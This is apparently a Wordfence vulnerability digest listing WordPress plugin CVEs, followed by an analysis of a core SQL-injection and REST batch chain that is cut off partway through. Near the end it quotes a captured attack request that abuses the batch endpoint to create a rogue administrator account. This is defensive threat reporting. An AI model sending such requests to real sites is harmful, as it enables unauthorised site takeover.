Affected Software

miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn) Pro Addon [miniorange-login-openid]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65475

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Modula Image Gallery – Photo Grid & Video Gallery [modula-best-grid-gallery]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15755

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Open User Map – Interactive Leaflet Maps [open-user-map]

Researcher

Quốc Huy (jtwings)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65563

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More [themeisle-companion]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-24639

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Photo Block – A Modern Image Block With Lightbox and Caption Support [photo-block]

Researcher

Arif Shaikh

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65519

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery [gt3-photo-video-gallery]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15100

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Post Grid Gutenberg Blocks – PostX [ultimate-post]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15739

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Rich Showcase for Google Reviews [widget-google-reviews]

Researcher

Manopakorn Kooharueangrong (manop55555)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-57699

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Slider Pro [sliderpro]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65533

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Smart SEO Tool – SEO优化插件 [smart-seo-tool]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12900

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Spectra Legacy – Gutenberg Blocks [ultimate-addons-for-gutenberg]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15821

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

SureDash – Community, Courses & Member Dashboard [suredash]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65480

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

TheGem [thegem]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15787

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

Ultimate Addons for Elementor [header-footer-elementor]

Researcher

Asaf Mozes

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65503

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor [ultimate-store-kit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-65473

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Virtue/Ascend/Pinnacle Toolkit [virtue-toolkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15653

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Visualizer – Tables & Charts Manager with Built-in AI Generator [visualizer]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-9729

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Web Push Notifications – Webpushr [webpushr-web-push-notifications]

Researcher

Muhammad Yudha – DJ

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15464

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

WP Hotel Booking [wp-hotel-booking]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-9635

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

WP Shortcode by MyThemeShop [wp-shortcode]

Researcher

Muhammad Yudha – DJ

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15425

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Yoast SEO – Advanced SEO with real-time guidance and built-in AI [wordpress-seo]

Researcher

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-15348

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-57809

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

AffiliateWP [affiliate-wp]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-57769

Patch Status

Unpatched

Published
Jul 21, 2026

Affected Software

Grand Photography WordPress [grandphotography]

Researcher

Tran Nguyen Bao Khanh

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-57701

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Real Estate Manager Pro [real-estate-manager-pro]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-15346

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

VikBooking Hotel Booking Engine & PMS [vikbooking]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65469

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

AWP Classifieds [another-wordpress-classifieds-plugin]

Researcher

z3r0s

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59532

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59548

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Byteflows Travel & Hotel Booking [byteflows-travel-hotel-booking]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65476

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Civi – Job Board & Freelance Marketplace WordPress Theme [civi]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65525

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Civi Framework [civi-framework]

Researcher

Tran Nguyen Bao Khanh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59536

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

CoCart – Headless REST API for WooCommerce [cart-rest-api-for-woocommerce]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65498

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Complianz – GDPR/CCPA Cookie Consent [complianz-gdpr]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65485

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Content Control – The Ultimate Content Restriction Plugin! Restrict Content, Create Conditional Blocks & More [content-control]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65490

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Create [mediavine-create]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-27355

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ditty – Responsive News Tickers, Sliders, and Lists [ditty-news-ticker]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65495

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Dokan Pro [dokan-pro]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59524

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Easy Digital Downloads – eCommerce Payments and Subscriptions made easy [easy-digital-downloads]

Researcher

James Paremain

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65452

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ebook Store [ebook-store]

Researcher

benzdeus

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65453

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ebook Store [ebook-store]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59529

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Ebook Store [ebook-store]

Researcher

hivesec

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65486

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Event Post [event-post]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65567

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Event Tickets and Registration [event-tickets]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59557

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Events Made Easy [events-made-easy]

Researcher

HieuPenguinnn

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59531

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Falcon – WordPress Optimizations & Tweaks [falcon]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65529

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Graphina – Charts and Graphs For Elementor [graphina-elementor-charts-and-graphs]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15827

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor [gutenkit-blocks-addon]

Researcher

Viet Anh Ngo

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65468

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

JetBooking [jet-booking]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13464

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

Abu Hurayra (HurayraIIT)

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65472

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Kit (formerly ConvertKit) – Email Newsletter, Email Marketing, Membership, Subscribers and Landing Pages [convertkit]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-57717

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

Knit Pay – Cashfree, Instamojo, Razorpay, PayPal and more [knit-pay]

Researcher

Riyas M S

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65489

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

LA-Studio Element Kit for Elementor [lastudio-element-kit]

Researcher

Steven Julian

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65500

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Manual – Documentation, Knowledge Base & Education WordPress Theme [manual]

Researcher

ed32.dll

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65564

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

MapPress – Google Maps, OpenStreetMap & Leaflet [mappress-google-maps-for-wordpress]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-27399

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

MarketKing — Ultimate WooCommerce Multivendor Marketplace Solution [marketking-multivendor-marketplace-for-woocommerce]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59545

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

miniOrange Discord Integration [miniorange-discord-integration]

Researcher

buitu

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65506

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar [mp3-music-player-by-sonaar]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65474

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ninja Tables – Easy Data Table Builder [ninja-tables]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-11354

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Participants Database [participants-database]

Researcher

Robert Hartinger

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59547

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Payment Gateway for PayPal on WooCommerce [woo-paypal-gateway]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59530

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Payment Plugins for Stripe WooCommerce [woo-stripe-payment]

Researcher

timomangcut

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-12654

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Payment Plugins for Stripe WooCommerce [woo-stripe-payment]

Researcher

gidget smith

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61954

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

PayU India [payu-india]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65499

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

PeproDev Ultimate Invoice [pepro-ultimate-invoice]

Researcher

babyhack

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-27372

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

PeproDev Ultimate Invoice [pepro-ultimate-invoice]

Researcher

Derrick Gilliland

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65487

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

photography [photography]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59534

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Post My CF7 Form [post-my-contact-form-7]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65531

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Qubely – Advanced Gutenberg Blocks [qubely]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65501

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Shiptastic for WooCommerce [shiptastic-for-woocommerce]

Researcher

Guillermo Álvarez

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59535

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Thrive Themes – Product Manager [thrive-product-manager]

Researcher

Austin Ginder

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65505

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor [ultimate-store-kit]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-27418

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

WP Fast Total Search – The Power of Indexed Search [fulltext-search]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-25466

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

WP Go Maps – Google Map, OpenStreetMap, Leaflet Map [wp-google-maps]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65521

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

WP Social Ninja – Embed Social Feeds, User Reviews & Chat Widgets [wp-social-reviews]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-27422

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Video Player for YouTube – embed videos your visitors will love to watch [yt-player]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-59554

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Ziina [ziina]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15663

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Ninja Forms – The Contact Form Builder That Grows With You [ninja-forms]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-59537

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Sender – Newsletter, SMS and Email Marketing Automation for WooCommerce [sender-net-automated-emails]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-65462

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin [uncanny-automator]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15782

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

WPForms – AI Form Builder for WordPress – Contact Forms, Payment Forms, Survey Form, Quiz & More [wpforms-lite]

Researcher

Asaf Mozes

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-65532

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

افزونه پیامک ووکامرس Persian WooCommerce SMS [persian-woocommerce-sms]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-65557

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Abandoned Cart Lite for WooCommerce [woocommerce-abandoned-cart]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-15647

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Brands for WooCommerce [brands-for-woocommerce]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-24628

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Photo Gallery – Responsive Image Galleries by Supsystic [gallery-by-supsystic]

Researcher

Mrreee

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-65550

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Tabs Responsive – With WooCommerce Product Tabs Extension [tabs-responsive]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-15786

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

WP Encryption – Lifetime Free SSL Cert & HTTPS, Force SSL / HTTPS Redirect, SSL Security [wp-letsencrypt-ssl]

Researcher

Advanced Views – Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver… [acf-views]

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2025-68081

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

WP-Polls [wp-polls]

Researcher

japaneseknotweed

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59543

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65471

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Avada Core [fusion-core]

Researcher

Luis Koleski

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65524

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Avada Custom Branding [fusion-white-label-branding]

Researcher

Bonds

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65537

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Cyr to Lat Reloaded – Transliteration of Links and File Names [cyr-and-lat]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-27392

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Directory Listings WordPress plugin – uListing [ulisting]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-27391

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Directory Listings WordPress plugin – uListing [ulisting]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-25427

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

eRoom – Webinar & Meeting Plugin for Zoom, Google Meet, Microsoft Teams [eroom-zoom-meetings-webinar]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65464

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

jh_hack

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65539

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Kwayy HTML Sitemap [kwayy-html-sitemap]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65488

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

LA-Studio Element Kit for Elementor [lastudio-element-kit]

Researcher

Steven Julian

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61958

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

License Manager for WooCommerce [license-manager-for-woocommerce]

Researcher

WiniS

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65478

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

ListingPro Plugin [listingpro-plugin]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-57626

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

MailPoet – Newsletters, Email Marketing, and Automation [mailpoet]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65463

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

Celvex Group

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-25424

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Mediavine Control Panel [mediavine-control-panel]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15420

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Nexter Blocks – Gutenberg Blocks, Page Builder & AI Website Builder [the-plus-addons-for-block-editor]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59539

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction [paid-member-subscriptions]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-27423

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Participants Database [participants-database]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65458

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Polylang [polylang]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65540

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

Popup for CF7 with Sweet Alert [cf7-sweet-alert-popup]

Researcher

testoun

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65456

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

Product Slider, Product Grid, Product Masonry [woocommerce-products-slider]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65491

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Query Wrangler [query-wrangler]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-27377

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

QuickCal [quickcal]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65479

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

reviewer [reviewer]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59528

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

ShipTime: Discount Shipping [shiptime-discount-shipping]

Researcher

VuNBT

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65484

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

Style Kits for Elementor [analogwp-templates]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-57703

Patch Status

Patched

Published
Jul 20, 2026

Affected Software

Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers [sunshine-photo-cart]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65530

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

TemplateSpare – 1000+ WordPress Starter Templates & Full Site Migration Tool | 1-Click Import/Export & No-Code Builder [templatespare]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65535

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

TinyMCE Templates [tinymce-templates]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-1372

Patch Status

Unpatched

Published
Jul 20, 2026

Affected Software

Tutor LMS Elementor Addons [tutor-lms-elementor-addons]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65568

Patch Status

Patched

Published
Jul 24, 2026

Affected Software

Visual Composer Website Builder [visualcomposer]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-24537

Patch Status

Unpatched

Published
Jul 22, 2026

Affected Software

WP Accessibility Helper (WAH) [wp-accessibility-helper]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65512

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

WP Activity Log [wp-security-audit-log]

Researcher

Levon Balyan

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-57808

Patch Status

Patched

Published
Jul 21, 2026

Affected Software

WP Easy Pay – Payment and Donation Form Builder for Square [wp-easy-pay]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59546

Patch Status

Patched

Published
Jul 23, 2026

Affected Software

WP Ghost (Hide My WP Ghost) – Security & Firewall [hide-my-wp]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65457

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

ЮKassa для WooCommerce [yookassa]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65460

Patch Status

Patched

Published
Jul 22, 2026

Affected Software

افزونه پرداخت امن زرین‌پال برای ووکامرس (ZarinPal for WooCommerce) [zarinpal-woocommerce-payment-gateway]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65536

Patch Status

Unpatched

Published
Jul 23, 2026

Affected Software

افزونه حمل و نقل ووکامرس | پست پیشتاز، تیپاکس و پیک موتوری [persian-woocommerce-shipping]

Researcher

https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (July 20, 2026 to July 26, 2026) appeared first on Wordfence.

WP2Shell WordPress Exploit Technical Analysis and Real Attack Data

Simon Browning — Wed, 29 Jul 2026 17:39:14 +0000

On July 17th, 2026, the WordPress Security Team released updates to WordPress core addressing a critical vulnerability chain that can be leveraged by unauthenticated attackers to create an administrator account and then execute code through normal administrator capabilities, such as uploading a plugin.

The chain consists of two vulnerabilities: an unauthenticated SQL injection vulnerability identified as CVE-2026-60137, and a REST API batch request route confusion vulnerability identified as CVE-2026-63030, which can be chained with the SQL injection to escalate the impact to unauthenticated administrator account creation.

The primary SQL Injection vulnerability affects WordPress core versions 6.8 through 6.8.5, 6.9 through 6.9.4, and 7.0 through 7.0.1, while the batch confusion vulnerability only affects the latter two ranges. The Wordfence Firewall has already blocked over 11 million exploit attempts targeting this vulnerability.

Our attack data currently reflects only Wordfence customers protected by the premium firewall rule, a small percentage of our user base, underscoring the sheer volume of attacks targeting this vulnerability. Fortunately, the vulnerability affected relatively few major WordPress versions, and the Security Team issued forced automatic updates. As a result, we expect the larger majority of sites are likely no longer vulnerable, and the high attack volume does not necessarily indicate a rise in successful compromises. Regardless, this still highlights the importance of verifying your site is updated sooner rather than later so that it does not become compromised.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on July 17, 2026, the day of disclosure. Sites using the free version of Wordfence will receive the same protection 30 days later on August 16, 2026.

Considering this vulnerability is being actively exploited, we urge users to ensure their sites are updated to a patched version of WordPress core as soon as possible. WordPress sites with automatic background updates enabled should already have been updated to the patched version.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-60137

Affected Version(s)
Various

Patched Versions
6.8.6, 6.9.5, 7.0.2

Affected Software

WordPress [wordpress]

Researchers

Tin Pham (TF1T)

Trong Pham (dtro)

haongo

WordPress Core is vulnerable to generic SQL Injection via the ‘author__not_in’ parameter in versions 6.8 – 7.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-63030

Affected Version(s)
Various

Patched Versions
6.9.5, 7.0.2

Affected Software

WordPress [wordpress]

Researcher

Adam Kues

WordPress Core is vulnerable to Remote Code Execution in all versions 6.9 to 7.0.1 via the REST API batch request endpoint (/wp-json/batch/v1). This is due to a route/validation desynchronization that allows a validated sub-request to be dispatched to an unintended callback, bypassing the allow_batch restriction, with attacker-controlled parameters and the target route’s input sanitization bypassed, which can be chained with SQL Injection. This may make it possible for attackers to execute code on the server.

Vulnerability Details

The security researcher Adam Kues who discovered the vulnerability chain published a detailed write-up of the discovery and exploitation process, which can be found at the following link:

As with any Administrator User Creation vulnerability, this vulnerability can be used for a complete site compromise. Once an attacker has gained administrative user access to a WordPress site, they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors.

A Closer Look at the Attack Data

The following data highlights actual exploit attempts from threat actors targeting this vulnerability. In the attacks we have observed, threat actors are chaining the vulnerabilities to create a new administrator account on the affected site.

POST /?rest_route=/batch/v1 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

{
  "requests": [
    {
      "method": "POST",
      "path": "http://"
    },
    {
      "body": {
        "requests": [
          {
            "method": "GET",
            "path": "http://"
          },
          {
            "method": "GET",
            "path": "/wp/v2/widgets?author_exclude=**"
          },
          {
            "method": "GET",
            "path": "/wp/v2/posts"
          },
          {
            "body": {
              "email": "wpenginebot@wpengine.com",
              "password": "[redacted]",
              "roles": [
                "administrator"
              ],
              "username": "wpenginebot"
            },
            "method": "POST",
            "path": "/wp/v2/users"
          },
          {
            "body": {
              "email": "wpenginebot@wpengine.com",
              "password": "[redacted]",
              "roles": [
                "administrator"
              ],
              "username": "wpenginebot"
            },
